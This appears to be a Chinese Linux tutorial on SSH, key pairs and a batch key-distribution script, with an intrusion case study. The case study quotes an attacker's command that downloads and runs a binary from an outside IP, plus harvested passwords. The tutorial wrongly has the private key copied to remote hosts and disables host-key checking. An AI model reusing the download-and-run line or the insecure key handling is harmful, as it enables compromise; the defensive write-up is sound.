ssh+key

时间:2023-03-10 07:03:02
ssh+key

一、ssh概述

在进行数据传输之前,SSH先对联机数据包通过加密技术进行加密处理,加密后在进行数据传输。确保了传递的数据安全。

lrzsz安装包传输本地与Linux

SSH客户端(ssh命令)还包含一个很有用的远程安全拷贝命令scp,也是通过ssh协议工作的。

telnet是不安全的远程连接,连接内容是明文的;

telnet+对方IP地址+对方端口号  因为对方是ssh我方是telnet两种不兼容,所以连上了无法有任何操作(不好用)可以判断对方某个端口开没开,后面来一个$?进行判断,可以写在脚本里,也就这点逼用了。

ssh是加密的远程连接,连接内容是加密的。

ssh+对方IP地址 不写端口号,默认是22端口,弹出一个会话,问是否记录对方IP地址; 然后需要输入对方的root密码,没有指定对方账号登陆,默认是以root身份登陆

ssh+key

需要装scp这个命令才能进行远程连接

rpm -qf `which scp`   openss*

scp /etc/hosts 192.168.200.111:/etc  (可直接把本地的东西复制过去,比如yum仓库等)

scp root@192.168.200.111:~/yyy .   (把对方的东西拿过来)

二、密钥对

1、概述:

密钥对:只要有钥匙文件就可以,采取文件对文件的连接方式,不用靠手输入;

服务端有一个主文件,客户端有一个副文件,服务端发现客户端的副文件和自己是一套的,远程连接的时候就不需要输入密码;如果发现不是一套的,直接拒绝!

登陆谁,给谁公钥。

2、密钥对使用与参数

ssh-keygen   生成密钥对

ssh-copy-id   分发密钥对

ssh+key

生成密钥对后,/root/.ssh/目录下有两个文件

id_rsa.pub是公钥  在服务端 需要改名authorized_keys

id_rsa    是私钥  在客户端

.ssh这个目录不能权限过大,否则Linux系统认定不安全,致使连接失败

所以,要把.ssh目录设置为700权限;chmod 700 .ssh

然后把私钥远程复制到对方,scp .ssh/id_rsa 192.168.200.111:~/.ssh/

这样就能免密码交互直接连接了

#但是,要想跟普通用户连接,那么普通用户的家目录下也要有这个密钥

#注意:因为要在普通用户下使用,所以要把密钥和它的.sh目录的的属主改成属于这个普通用户

chown yunjisuan authorized_keys   (别忘了改700权限)

3、修改SSH配置文件飞快运行/etc/ssh/sshd_config

/etc/ssh/ssh_config

修改SSH配置文件,使其飞快运行:

vim /etc/ssh/sshd_config

81行 不进行验证,改成no

122行  DNS 改成no

重新启动,service sshd reload

scp /etc/ssh/sshd_config root@192.168.200.111:/etc/ssh/

三、非交互式密钥对

1、一条命令创建密钥对

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P ""

-t指定加密算法DSA

-f密钥放在哪

-P 密码””  为空

2、分发密钥对(交互式)

ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.154.132

#将本地公钥拷贝到172.16.1.41服务器的root目录下

-i  你要分发什么

分发完毕后,自动修改属主属主,700权限;

3、一条命令分发密钥对

先在云yum上安装一个sshpass

sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub yunjisuan@192.168.154.132

konwn_hosts这个文件,记录对方远程连接的信息,如果我们把创建、分发密钥对写进脚本里,第一次连接就会弹出是否记录的会话,脚本就会卡在这

脚本终极分发版本及相关参数说明:

#####################sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null

sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no yunjisuan@192.168.200.111”

ssh+key

四、密钥分发脚本

ssh+key

手敲版

User=root

password=##Linux密码

function YumBuild(){

echo “正在安装epel源yum仓库,请稍后。。。”

cd /etc/yum.repos.d/ &&\

[ -d bak ] || mkdir bak

[ `find ./*.* -type f |wc -l` -gt 0 ] && find ./*.* -type f | xargs -i mv {} bak/

wget -O /etc/yum.repo.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null

yum -y clean all &>/dev/null

yum makecache &>/dev/null

}

echo “正在进行网络连接测试,请稍后。。。”

ping www.baidu.com -c2 > /dev/null || (echo “无法连接外网,本脚本运行环境必须与外网相连” && exit)

[ $# -eq 0 ] && echo “没有参数!格式为:sh $0 参数1.。n” && exit

rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null

if [ $? -gt 0 ];then

YumBuild

yum -y install sshpass &>/dev/null || (echo “sshpass build error!” && exit)

fi

[ -d ~/.ssh ] || mkdir  ~/.ssh;chmod 700 ~/.ssh

echo “正在创建密钥对。。。”

rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P “” &>/dev/null

for ip in $*

do

ping $ip -c1 &>/dev/null

if [ $? -gt 0 ];then

echo “$ip无法ping通,请检查网络”

continue

fi

sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null

echo “$ip 密钥分发成功”

done

原版

#!/bin/bash

# author:Mr.chen

# 2017-3-14

# description:SSH密钥批量分发

User=root

passWord=##Linux登录密码

function YumBuild(){

echo "正在安装epel源yum仓库,请稍后..."

cd /etc/yum.repos.d/ &&\

[ -d bak ] || mkdir bak

[ `find ./*.* -type f | wc -l` -gt 0 ] && find ./*.* -type f |  xargs -i mv {} bak/

wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null

yum -y clean all &>/dev/null

yum makecache &>/dev/null

}

echo "正在进行网络连接测试,请稍后..."

ping www.baidu.com -c2 >/dev/null ||(echo "无法连同外网,本脚本运行环境必须和外网相连!" && exit)

[ $# -eq 0 ] && echo "没有参数!格式为:sh $0 参数1...n" && exit

rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null

if [ $? -gt 0 ];then

YumBuild

yum -y install sshpass &>/dev/null || (echo "sshpass build error!" && exit)

fi

[ -d ~/.ssh ] || mkdir ~/.ssh;chmod 700 ~/.ssh

echo "正在创建密钥对...."

rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P "" &>/dev/null

for ip in $*

do

ping $ip -c1 &>/dev/null

if [ $? -gt 0 ];then

echo "$ip无法ping通请检查网络"

continue

fi

sshpass -p "$passWord" ssh-copy-id -i ~/.ssh/id_dsa.pub "-o StrictHostKeyChecking=no ${User}@$ip" &>/dev/null

echo "$ip 密钥分发成功"

done

五、 企业案例:SSH入侵案例

通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视。接下来要说的,是一次真实的SSH入侵实例,由于运维人员的经验缺乏以及安全意识的薄弱,从而没有及时对已被侵入的服务器做隔离处理,导致扩散到较多的服务器。

一,事件回顾

这次的服务器被入侵是一个典型的弱密码导致的入侵事件,由于某人员的疏忽,在某台服务器上新建了test用户,且使用同名的弱密码,以便于调试工作所需的脚本工具,就在当天在做脚本调试的时候发现了某些异常的错误,使用root用户无法ssh远程登陆其他服务器,同时scp命令出现异常无法使用,但其他服务器可以使用scp将文件拷贝到该服务器,之后将问题反馈给运维人员,由我们运维进行排查。

二,排查过程

收到问题反馈,主要涉及ssh相关的问题后,我们运维对该服务器进行排查,发现使用ssh -v中的openssl版本无法显示,且输出的帮助信息与其他服务器不一致,然后查看ssh配置,发现配置文件(ssh_config和sshd_config)文件已更新,其内容被全部注释,这时还没有意识到被入侵,悲哀+1,起初以为同事对该服务器做了升级了ssh版本,后来确认无升级之类的操作。

· (1):查看ssh版本及相关信息,openssl的版本显示异常,与其他服务器对比,帮助信息显示方式有多不同

正常服务器的ssh -v

1. [root@backup ~]# ssh -v

2. OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

3. usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]

4.            [-D [bind_address:]port] [-e escape_char] [-F configfile]

5.            [-I pkcs11] [-i identity_file]

6.            [-L [bind_address:]port:host:hostport]

7.            [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]

8.            [-R [bind_address:]port:host:hostport] [-S ctl_path]

9.            [-W host:port] [-w local_tun[:remote_tun]]

10.            [user@]hostname [command]

 

 

 

 

 

有问题服务器的ssh -v

ssh+key

· (2):查看ssh进程及其相关文件,ssh和sshd进程文件已更新,ssh_config和sshd_config配置文件已更新,配置文件内容全部注释,ssh_host_key和ssh_host_key.pub为新增文件,其他服务器没有这两个文件。

ssh+key

·

(3):继续排查,将一台正确的配置文件覆盖至该服务器,重启ssh服务后,使用ssh命令发现无法识别该配置文件中的参数(到这里其实应该发现ssh进程文件已被篡改,使用md5sum做比对即可)

·

·

(4):由于其他工作事务需要及时处理,排查这个事情就被搁置了,直至之后的YY讨论问题拿出来询问了下大神,才意识到有被入侵的可能

·

·

(5):询问操作过该服务器的同事,此前正在调试脚本工具,新增了test用户,得知其密码为test

·

·

(6):进行深入排查,使用chkrootkit -q查看Linux系统是否存在后门,发现有异常。协同之前操作test用户的同事,查找history命令记录,发现一条可疑命令

·

1. $ su - test

2. $ history

3.     50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf #非同事操作的可疑命令

4. $ w  #并且无法查看当前的登录用户

5. $ cat /usr/include/netda.h  #找到一个用户登录就记录其密码的文件

6. +user: bin +password:worlddomination

7. +user: test +password:TF4eygu4@#$ds

·

(7):在另外一台服务器上,发现某账号家目录下有个dead.letter文件,用于将获取到的信息(系统信息,IP地址,账号密码等)发送至指定的邮箱

·

·

(8):又在另外一台服务器上部署了一套可疑的程序,估计是作为肉鸡功能

·

1. $ sudo crontab -e

2. $ * * * * * /usr/include/statistics/update > /dev/null 2>&1

3. #原有的cron任务已被清空,仅有该条可疑任务

· (9):找到/usr/include/statistics为主程序的目录,其中update为主程序,通过autorun脚本进行部署,执行crond伪装成crond服务,使原crond服务隐藏且无法启动,将cron覆盖至原有crontab文件来每分钟执行update二进制程序,mech.pid记录伪装的crond程序的PID

ssh+key

三,清理工作

· 紧急修复清理

将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下

1)查看并修改属性

ssh+key

2)恢复ssh和sshd

ssh+key

3)删除多余的文件以及恢复crond

ssh+key

· 后续安全工作

1)修改所有涉及的服务器的账户密码,之后其他使用同类密码的服务器也需改掉

2)配置防火墙策略,只允许公司外网IP可ssh访问服务器

3)对于被入侵过的服务器系统后期逐步重做系统,避免存在未清理的后门

四,总结

此次的遭受攻击,问题主要是运维安全意识较差,以及防火墙策略比较松散,为了便于远程工作,像ssh端口未做限制,服务器几乎是裸奔的状态。经过此番折腾,也对服务器安全方面做了一次警示,需加强防御工作,同时也了解到典型的ssh后门功能:其一是超级密码隐身登陆;其二是记录登陆的账号密码。后续还需制定一系列入侵检测机制,以防再次出现入侵事故。

如何防止SSH登录入侵小结:

病毒通常在在哪? 
1)各种开机自启动里面放着
/etc/rc.local /etc/init.d/
2)定时任务
/var/spool/cron/*
3)系统的定时任务目录

如何防止SSH登录入侵?

1,用密钥登录,不用密码登录
2,防火墙封闭SSH,指定源IP限制(局域网,信任公网)
3,开启SSH只监听本地内网IP(ListenAddress10.0.0.8)。
4,尽量不给服务器外网IP
5,最小化软件安装
6,给系统的重要文件或命令做一个指纹
7,给他锁上chattr +i +a

六、SSH批量分发管理

操作系统

1. [root@m01 ~]# cat /etc/redhat-release

2. CentOS release 6.8 (Final)

3. [root@m01 ~]# uname -r

4. 2.6.32-642.el6.x86_64

主机网络参数

主机名

网卡eth0

网卡eth1

用途

m01

10.0.0.61

172.16.1.61

中心批发服务器

nfs01

10.0.0.31

172.16.1.31

接收节点服务器

web01

10.0.0.8

172.16.1.8

接收节点服务器

backup

10.0.0.41

172.16.1.41

备份服务器

提示: 
若无特殊说明,子网掩码均为255.255.255.0,一个C类网段254台机器规模

ssh+key

要求所有服务器在同一用户chensiqi系统用户下,实现A机器从本地分发数据到B,C机器上,发到B,C的过程中不需要系统提示输入密码验证,当然,除了分发的功能,还可以批量查看所有客户机上的CPU,LOAD,MEM,系统版本信息。
即实现从A服务器发布数据到B,C客户端服务器以及查看信息的免密码登录验证解决方案:分发数据流方向如下: